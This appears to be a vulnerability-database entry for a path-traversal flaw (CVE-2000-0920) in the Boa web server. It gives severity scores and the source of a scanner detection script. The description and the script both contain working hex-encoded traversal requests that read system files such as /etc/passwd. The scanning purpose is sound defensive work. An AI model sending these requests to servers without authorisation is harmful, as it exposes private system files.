6.7 Medium
AI Score
Confidence
Low
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.025 Low
EPSS
Percentile
90.0%
The remote Boa server allows an attacker to read arbitrary files
on the remote web server, prefixing the pathname of the file with hex-encoded …/…/…
Example:
GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
will return /etc/passwd.
# SPDX-FileCopyrightText: 2000 Thomas Reinke
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.10527");
script_version("2023-08-01T13:29:10+0000");
script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2000-0920");
script_name("Boa file retrieval");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2000 Thomas Reinke");
script_family("Remote file access");
script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
script_mandatory_keys("Boa/banner");
script_tag(name:"solution", value:"Upgrade to a latest version of the server.");
script_tag(name:"summary", value:"The remote Boa server allows an attacker to read arbitrary files
on the remote web server, prefixing the pathname of the file with hex-encoded ../../..
Example:
GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
will return /etc/passwd.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
script_xref(name:"URL", value:"http://www.boa.org");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1770");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("port_service_func.inc");
include("misc_func.inc");
port = http_get_port(default:80);
files = traversal_files();
foreach pattern(keys(files)) {
file = files[pattern];
url = string("/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/" + file);
req = http_get(item:url, port:port);
res = http_send_recv(port:port, data:req);
if(egrep(string:res, pattern:pattern)) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
exit(99);